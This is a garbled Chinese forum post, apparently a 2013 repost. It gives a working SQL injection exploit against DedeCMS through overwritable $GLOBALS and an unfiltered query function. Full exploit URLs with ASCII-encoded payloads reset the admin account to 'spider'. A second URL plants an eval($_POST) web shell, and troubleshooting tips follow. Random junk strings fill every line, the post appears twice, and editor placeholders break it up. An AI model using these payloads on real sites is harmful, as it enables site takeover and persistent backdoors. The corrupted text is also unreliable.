|
|
此漏洞无视gpc转义,过80sec注入防御。1 d# P/ G' p7 d/ Z( T
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
! ?# r5 F j/ {& x. v/ O起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
0 g0 ]; [" F" M, jinclude/dedesql.class.php
+ ]" `8 V$ A, X( Iif(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。
9 _! p8 _ X: ~7 n9 b同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery26 @/ a5 K8 t4 M6 R+ n% f- J
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
4 _2 n8 C! S2 xplus/download.php
/ O* e, I, G7 ~% ?$ F- v: J \( \# welse if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("location link"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
% o# x8 T# f. `2 o& C; b- Zadmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句: M1 w! p# B# e i* Z/ {" z
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
& F7 _% l2 O: ]4 G% a qhttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
- L9 S- t) n1 h* a1 D7 x8 W$ W1 f) b漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
, A4 Z1 d x- m' c) Q+ F如果找不到后台,参见以前修改数据库直接拿SHELL的方法# w% x. I4 n. \5 w6 x% |
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。% _$ W! h( o+ g C+ P9 O0 p3 ?
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
, D7 w4 X; W3 U x: d起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
. K. v5 e! M' w' k$ M5 i! binclude/dedesql.class.php) S3 _, b4 u. z. L
if(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。9 Q; h, M4 u2 n% T' s3 } y
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
0 q1 n/ t. P; i |而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。- j) e0 r. \3 |* P3 Y4 }
plus/download.php) u1 ~+ [7 l% g ~
else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("location link"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
* d/ I" ~! w* {# _& U5 u+ ?admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:' x2 F% Y( T) _
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:$ f0 c1 c8 `3 D9 k9 t9 c, w
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin3 f; |2 ~( P: B
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。$ L8 w+ m9 L- \* |
如果找不到后台,参见以前修改数据库直接拿SHELL的方法
$ _" [4 i. f' e2 C' ~___FCKpd___6getshell:
) L% u* R0 ?+ v5 R2 {' H" Thttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m3 _' g& N' a. Q4 q$ g
http://127.0.0.1/plus/x.php+ Q* @1 w5 \+ Y
update成功后还要访问下 /plus/mytag_js.php?aid=1
6 q3 K8 k. a, w: o! ^失败原因:
1 p/ ?& u ?2 W% @测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)/ l1 H Y$ ~# r0 k: P" _
配图:
/ e# d; r/ G# v9 u1 p1.查看dede当前版本
& v3 @9 }, |. }
8 e* t2 x) P0 a2.执行exp' E. e2 r5 l% b3 R7 x
9 _4 ^- \3 r) Y! Q- l
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台# @8 f! a3 D8 E- ^7 q) F
J1 A, p7 `$ k3 j t* ^( K
spider密码admin
2 G1 o4 \# a7 Q" X% \/ D$ [
f' Z! y/ t4 Z) H. O: o- M* J* ahttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
7 _0 d; E+ b( K3 ^9 N ^. S9 w% B原作者:imspider- I' @, w! R! |0 V
& {8 b; ]9 q2 m W! A( @4 R
本博客测试+配图+getshell: g2 w- D) \( J( r9 W0 @7 m5 C5 K
POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT 2 G6 c$ |. S o. f4 ~+ j% U8 G
9 {8 Z6 v# j+ V& b! e8 y. mgetshell:+ W" d# B. Z% ^6 G: T* k; j
___FCKpd___7会在plus目录生成 x.php 密码 m& A: Y- f5 y3 T! g
http://127.0.0.1/plus/x.php
( V7 _( O( C( s( j( ^! @# w5 Lupdate成功后还要访问下 /plus/mytag_js.php?aid=1. Z4 X. r: N3 b1 L `; r. |
失败原因:
+ M7 u; t; ^7 V$ c测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)- m/ o5 _ h8 t4 e! S* S+ [
配图:
# Z4 b5 d4 u6 U* o1.查看dede当前版本7 y- i5 A; g5 J% U# h+ i7 L0 r# z; V+ o
http://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png! K O6 O# L$ n) c
2.执行exp
. t# _. _' U+ @7 f9 uhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
* p' ?. S* k& d7 j: Sspider密码admin# p! k$ ~/ U3 ^
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png8 r7 `7 t# g! |* `( O
/ _& `6 {! l' v |
|